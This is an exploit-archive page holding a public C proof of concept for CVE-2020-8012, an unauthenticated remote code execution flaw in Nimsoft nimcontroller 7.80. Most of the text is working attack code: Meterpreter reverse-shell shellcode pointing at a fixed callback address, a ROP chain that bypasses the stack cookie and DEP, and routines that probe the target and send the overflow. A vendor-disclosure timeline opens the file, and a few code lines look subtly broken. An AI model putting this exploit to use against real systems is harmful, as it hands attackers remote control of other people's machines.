what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nimsoft nimcontroller 7.80 Remote Code Execution

Nimsoft nimcontroller 7.80 Remote Code Execution
Posted Feb 28, 2020
Authored by wetw0rk

Nimsoft nimcontroller version 7.80 suffers from an unauthenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-8012
SHA-256 | af11c437e4fa8db83e925757e69120962101fbd14f8be2758c3b44f0506921c0

Nimsoft nimcontroller 7.80 Remote Code Execution

Change Mirror Download
/**************************************************************************************************************************
* Exploit Title : Sing About Me, I'm Dying Of Thirst *
* Exploit Author : wetw0rk *
* Exploit Version : Public POC *
* CVE : CVE-2020-8012 *
* Vendor Homepage : https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en *
* Software Version : 7.80 *
* Tested on : Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64) *
* Software Link : Good luck *
* *
* Description: *
* *
* Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. *
* The exploit won't crash the service. *
* *
* You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it *
* should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being *
* universal (worked first try on 2012). *
* *
* Note: *
* *
* This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass *
* the stack cookie. WE OUT HERE!!! *
* *
* Compile: *
* *
* gcc poc_release.c -o singAboutMeImDyingOfThirst *
* *
* Shoutout: *
* *
* Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA *
* for dropping Ghidra, and my Mentor *
* *
* ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- *
* 11/07/19 - Vendor contacted (POC code and POC video sent) *
* 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug *
* 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled *
* 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...) *
* 12/03/19 - Vendor confirms exploitability and vulnerability presence *
* 12/13/19 - Vendor finalizing hotfix *
* 12/19/19 - Vendor hotfix tested against POC code *
* 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 *
* 01/21/20 - Vendor replies (awaiting more info) *
* 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch *
* 02/XX/20 - PoC sample dropped *
**************************************************************************************************************************/

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */
unsigned char shellcode[] = \
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

const char *exploited[] = \
{
"10.0.18362",
"6.3.9600",
};

const char *versions[]= \
{
"7.80 [Build 7.80.3132, Jun 1 2015]",
};

/********************************************************************************************************************
* *
* NimsoftProbe: *
* *
* This is the structure used for the packet generator, it will be used specifically as the return type. Within *
* the structure there are 2 members, first the pointer to the packet and secondly the packet length. *
* *
* NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): *
* *
* This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a *
* few modifications where made to handle the exploit buffer (mainly since it contains NULLS). *
* *
********************************************************************************************************************/

#define PHLEN 300 /* header */
#define PBLEN 2000 /* body */
#define PALEN 10000 /* argv */
#define FPLEN 20000 /* final probe */

#define CLIENT "127.0.0.1/1337"

#define INTSIZ(x) snprintf(NULL, 0, "%i", x)

unsigned char packet_header[] = \
"\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a";
unsigned char packet_body[] = \
/* nimbus header */
"\x6d\x74\x79\x70\x65\x0F" /* mtype */
"\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */
"\x63\x6d\x64\x0F" /* cmd */
"\x37\x0F%d\x0F" /* 7.x */
"%s\x0F" /* probe */
"\x73\x65\x71\x0F" /* seq */
"\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */
"\x74\x73\x0F" /* ts */
"\x31\x0F%d\x0F" /* 1.X */
"%d\x0F" /* UNIX EPOCH */
"\x66\x72\x6d\x0F" /* frm */
"\x37\x0F%d\x0F" /* 7.15 */
"%s\x0F" /* client addr */
"\x74\x6f\x75\x74\x0F" /* tout */
"\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */
"\x61\x64\x64\x72\x0F" /* addr */
"\x37\x0F\x30\x0F"; /* 7.0 */

typedef struct {
char *packet;
int length;
} NimsoftProbe;

NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer)
{
int index = 0;
int fmt_args;
int lbody = 0;
int largs = 0;
char *tptr;
char pheader[PHLEN];
char pbody[PBLEN];
char pargs[PALEN];
char pbuffer[FPLEN];
char temp_buffer[80];
char *probe = lparams[0];

int epoch_time = (int)time(NULL);

NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe));

fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s",
(strlen(probe)+1),
probe,
(INTSIZ(epoch_time)+1),
epoch_time,
(strlen(CLIENT)+1),
CLIENT
);

if ((fmt_args + sizeof(packet_body)) > PBLEN) {
printf("Failed to generate packet body\n");
exit(-1);
}

lbody = snprintf(pbody, PBLEN, packet_body,
(strlen(probe)+1),
probe,
(INTSIZ(epoch_time)+1),
epoch_time,
(strlen(CLIENT)+1),
CLIENT
);

for (i = 1; i < nparams; i++)
{
memset(temp_buffer, '\0', 80);

for (j = 0; j < strlen(lparams[i]); j++)
{
if ((c = lparams[i][j]) == '=')
{
memcpy(temp_buffer, lparams[i], j);
index = ++j;
break;
}
}

tptr = lparams[i];

if ((c = 1, c += strlen(temp_buffer)) < PALEN) {
largs += snprintf(pargs+largs, c, "%s", temp_buffer);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}

if (index > 0 && exploit_buffer == 0)
{
tptr = tptr+index;

if ((largs + strlen(tptr) + 2) < PALEN)
{
largs += snprintf(pargs+largs, 2, "%s", "1");
largs++;

largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}

c = 1, c += strlen(tptr);
if ((largs + c) < PALEN)
{
largs += snprintf(pargs+largs, c, "%s", tptr);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
}

if (index > 0 && exploit_buffer > 0)
{
tptr = tptr+index;

if ((largs + exploit_buffer + 2) < PALEN)
{
largs += snprintf(pargs+largs, 2, "%s", "1");
largs++;

largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}

c = 1, c += exploit_buffer;

if ((largs + c) < PALEN)
{
memcpy(pargs+largs, tptr, c);
largs += exploit_buffer;
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
}
}

index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs);
index += lbody;

if (index < FPLEN) {
strncat(pbuffer, pbody, lbody);
} else {
printf("Failed to concatenate packet body\n");
exit(-1);
}

for (i = 0; i < index; i++)
if (pbuffer[i] == '\x0f')
pbuffer[i] = '\x00';

if ((index + largs) < FPLEN) {
for (i = 0; i < largs; i++)
pbuffer[index++] = pargs[i];
}
else {
printf "Failed to concatenate packet arguments\n");
exit(-1);
}

probePtr->packet = pbuffer;
probePtr->length = index;

return probePtr;
}

/*********************************************************************************************************************
* *
* int parse_directory(char *response, int length): *
* *
* This function will parse the directory contents, specifically looking for the entry keyword; if found, we can *
* proceed with exploitation. *
* *
* int check_vulnerability(char *rhost, int rport): *
* *
* This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once *
* sent the returned packet will be parsed by parse_directory. *
* *
*********************************************************************************************************************/

#define PE "(\033[1m\033[31m-\033[0m)"
#define PI "(\033[1m\033[94m*\033[0m)"
#define PG "(\033[1m\033[92m+\033[0m)"

int parse_directory(char *response, int length)
{
int i;
int backup;
int check = 0;
int index = 0;

char buf[80];
struct tm ts;
time_t capture;

if (strncmp(response, "nimbus/1.0", 10) != 0)
return -1;

while (index < length)
{
if (strcmp("entry", (response+index)) == 0)
printf("%s Persistence is an art\n\n", PG);

if (strcmp("name", (response+index)) == 0) {
backup = index;
check = 1;

/* last modified */
for (int i = 0; i < 15; i++)
index += strlen(response+index) + 1;
capture = atoi(response+index);
ts = *localtime(&capture);
strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts);
printf("%12s ", buf);
index = backup;

/* type */
for (int i = 0; i < 7; i++)
index += strlen(response+index) + 1;
if (strcmp("2", (response+index)) == 0)
printf("%7s", " ");
else
printf("%-7s", "<DIR>");
index = backup;
/* name */
for (int i = 0; i < 3; i++)
index += strlen(response+index) + 1;
printf("%s\n", response+index);
}
index += strlen(response+index) + 1;
}

return (check != 1) ? -1 : 0;
}

int check_vulnerability(char *rhost, int rport)
{
int c;
int sock;
int count;

NimsoftProbe *probe;
char response[BUFSIZ];
struct sockaddr_in srv;
char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" };

probe = packet_gen(get_directory_listing, 3, 0);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;

srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;

if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;
printf("%s Verifying vulnerable probe is reachable\n", PI);

send(sock, probe->packet, probe->length, 0);
count = read(sock, response, BUFSIZ);

if (parse_directory(response, count) == 0)
printf("\n%s Target ready for exploitation\n", PG);
else
return -1;

free(probe);
close(sock);

return 0;
}

/********************************************************************************************************************
* *
* char *nimdex(char *haystack, char *needle, int size): *
* *
* This function works similar to strstr, however it was specifically made to index "keys" to their respective *
* "values" within a Nimbus packet. It has only been tested against the get_info packet. *
* *
* int parse_response(char *response, int length): *
* *
* This function leverages nimdex to perform 2 checks. The first check will verify the target operating system *
* has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has *
* a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in *
* my ROP chain being universal. *
* *
* int check_version(char *rhost, int rport): *
* *
* This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent *
* the returned packet will be parsed by parse_response. *
* *
********************************************************************************************************************/

char *nimdex(char *haystack, char *needle, int size)
{
int found = 0;
int index = 0;

if (strncmp(haystack, "nimbus/1.0", 10) != 0)
return NULL;

while (index < size)
{
if (strcmp(needle, (haystack+index)) == 0)
found = 2;
else if (found >= 2)
found++;
if (found == 5)
return &haystack[index];
index += strlen(haystack+index) + 1;
}
return NULL;
}

int parse_response(char *response, int length)
{
int i;
int c;
char *ptr;
int check = 0;
int nv = sizeof(versions)/sizeof(versions[0]);
int ne = sizeof(exploited)/sizeof(exploited[0]);

if ((ptr = nimdex(response, "os_minor", length)) == NULL)
return -1;
printf("%s Probe successful, detected: %s\n", PI, ptr);

if ((ptr = nimdex(response, "os_version", length)) == NULL)
return -1;

for (i = 0; i < ne; i++)
if ((strcmp(exploited[i], ptr)) == 0)
check = 1;

if (check != 1)
{
printf("%s Exploit has not been tested against OS version\n", PE);
printf("%s Continute exploitation (Y/N): ", PE);

c = getchar();
if (tolower(c) != 'y')
exit(-1);

printf("%s If exploitation successful, update code!!!\n", PI);
if ((ptr = nimdex(response, "os_version", length)) == NULL)
return -1;
printf("%s Target OS ID: %s\n", PI, ptr);
}
else
printf("%s Target OS appears to be exploitable\n", PI);

check = 0;

if ((ptr = nimdex(response, "version", length)) == NULL)
return -1;

for (i = 0; i < nv; i++)
if ((strcmp(versions[i], ptr)) == 0)
check = 1;

if (check != 1) {
printf("%s Exploit has not been tested against target build\n", PE);
exit(-1);
} else
printf("%s Nimbus build appears to be exploitable\n", PI);

return 0;
}

int check_version(char *rhost, int rport)
{
int c;
int sock;
int count;
NimsoftProbe *probe;
char response[BUFSIZ];
struct sockaddr_in srv;
char *get_operating_sys[] = { "get_info", "interfaces=0" };

probe = packet_gen(get_operating_sys, 2, 0);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;

srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;

if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;

printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport);

send(sock, probe->packet, probe->length, 0);
count = read(sock, response, BUFSIZ);

if ((parse_response(response, count) != 0)) {
printf("%s Probe failed, unable to parse packet\n", PE);
exit(-1);
}

free(probe);
close(sock);

return 0;
}

/*****************************************************************************************************************
* This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. *
* I had VP work 50% of the time when the stack was unaligned. *
*****************************************************************************************************************/
int64_t rsp_alignment_rop_gadgets[] = {

[0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400af237, // pop rdi ; ret
0x0000000000000007, // alignment for rsp
0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
};

/*****************************************************************************************************************
* This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. *
* Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, *
* we needn't worry about other Windows OS's. *
*****************************************************************************************************************/
int64_t dep_bypass_rop_gadgets[] = {

// RAX -> HMODULE GetModuleHandleA(
// ( RCX == *module ) LPCSTR lpModuleName,
// );
[0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x00000000000009dd, // offset to "kernel32.dll"
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400b741b, // xchg eax, ecx ; ret
0x0000000140002ef6, // pop rax ; ret
0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20)
0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> FARPROC GetProcAddressStub(
// ( RCX == &addr ) HMODULE hModule,
// ( RDX == *module ) lpProcName
// );
0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x0000000000000812, // offset to "virtualprotectstub"
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret
[112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
[123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret
0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[138 ... 143] = 0x0000000140018c42, // ret
0x0000000140002ef6, // pop rax ; ret
0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20)
0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> BOOL VirtualProtectStub(
// ( RCX == *shellcode ) LPVOID lpAddress,
// ( RDX == len(shellcode) ) SIZE_T dwSize,
// ( R8 == 0x0000000000000040 ) DWORD flNewProtect,
// ( R9 == *writeable location ) PDWORD lpflOldProtect,
// );
0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
0x000000014013d651, // pop r12 ; ret
0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
[168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, //
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x000000000000059f, // (offset to *shellcode)
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400b741b, // xchg eax, ecx ; ret
0x00000001400496a2, // pop rdx ; ret
0x00000000000005dc, // dwSize
0x00000001400bc39c, // pop r8 ; ret
0x0000000000000040, // flNewProtect
0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
[221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS)
0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
[239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x0000000000000317, // (offset to our shellcode)
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400a9747, // jmp rax
[297 ... 316] = 0x0000000140018c42, // ret (do not remove)
};

/********************************************************************************************************************
* *
* int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): *
* *
* This function will generate a rop chain and store it in the buffer passed as the first argument. The return *
* value will contain the final ROP chain size. *
* *
********************************************************************************************************************/

#define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t))
#define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t))

int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[])
{
int i, j, k;
int chain_size = 0;

for (i = 0; i < gadgets; i++)
for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++)
{
*buffer++ = ((rop_gadgets[i]>>k)&0xff);
chain_size++;
k += 8;
}

return chain_size;
}

#define MAX_EXPLOIT_BUFFER 9000

unsigned char *generate_exploit_buffer(unsigned char *buffer)
{
int r1, r2, c;
char rop_chain[20000];
unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00";

memset(buffer , 0x41, 1000); // Offset
memset(buffer+1000, 0x0F, 33);
memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret
memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain

/* generate the first rop chain to perform stack alignment */
r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets);
memcpy(buffer+1048, rop_chain, r1);
c = r1 + 1048;

/* adjust for second stage */
memset(buffer+c, 0x57, 631);
c += 631;

/* generate the second rop chain to perform DEP bypass */
r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets);
memcpy(buffer+c, rop_chain, r2);
c += r2;

/* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */
memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631)));
c += (3500 - (r1 + r2 + 631));

memcpy(buffer+c, "kernel32.dll\x00", 13);
c += 13;

memcpy(buffer+c, "VirtualProtect\x00", 15);
c += 15;

/* NOPS */
memset(buffer+c, 0x90, 500);
c += 500;

/* shellcode */
memcpy(buffer+c, shellcode, (sizeof(shellcode)-1));
c += (sizeof(shellcode)-1);

/* filler */
memset(buffer+c, 0x10, (8000 - c));

return buffer;
}

#define MAX_ARGUMENTS 5

void help()
{
printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n");
printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n");
printf("optional arguments:\n");
printf(" -h, --help show this help message and exit\n");
printf(" -t TARGET, --target TARGET target host to probe\n");
printf(" -p PORT, --port PORT nimcontroller port\n\n");
printf("examples:\n");
printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n");
exit(0);
}

int main(int argc, char **argv)
{
int c;
int sock;
int rport;
NimsoftProbe *probe;
struct sockaddr_in srv;
char *rhost, *port;
char *params[MAX_ARGUMENTS];
unsigned char *exploit_buff;
unsigned char buffer[MAX_EXPLOIT_BUFFER];
unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory=";

char *exploit[] = { "directory_list", final_buffer };

while (1)
{
static struct option long_options[] =
{
{"help", no_argument, 0, 'h'},
{"target", required_argument, 0, 't'},
{"port", required_argument, 0, 'p'},
{0, 0, 0}
};

int option_index = 0;

c = getopt_long (argc, argv, "ht:p:", long_options, &option_index);

if (c == -1)
break;

switch(c)
{
case 't':
rhost = optarg;
break;
case 'p':
port = optarg;
break;
case 'h':
default:
help();
break;
}
}

if (argc < 5)
help();

rport = atoi(port);

if (check_version(rhost, rport) != 0) {
printf("%s Failed to connect to target host\n", PE);
exit(-1);
}

if (check_vulnerability(rhost, rport) != 0) {
printf("%s Target failed vulnerability tests\n", PE);
exit(-1);
}

printf("%s Generating evil nimbus probe, we're watching\n", PI);
exploit_buff = generate_exploit_buffer(buffer);
memcpy(final_buffer+10, exploit_buff, 8000);
probe = packet_gen(exploit, 2, 8000);

printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;

srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;

if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;

send(sock, probe->packet, probe->length, 0);

free(probe);
close(sock);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close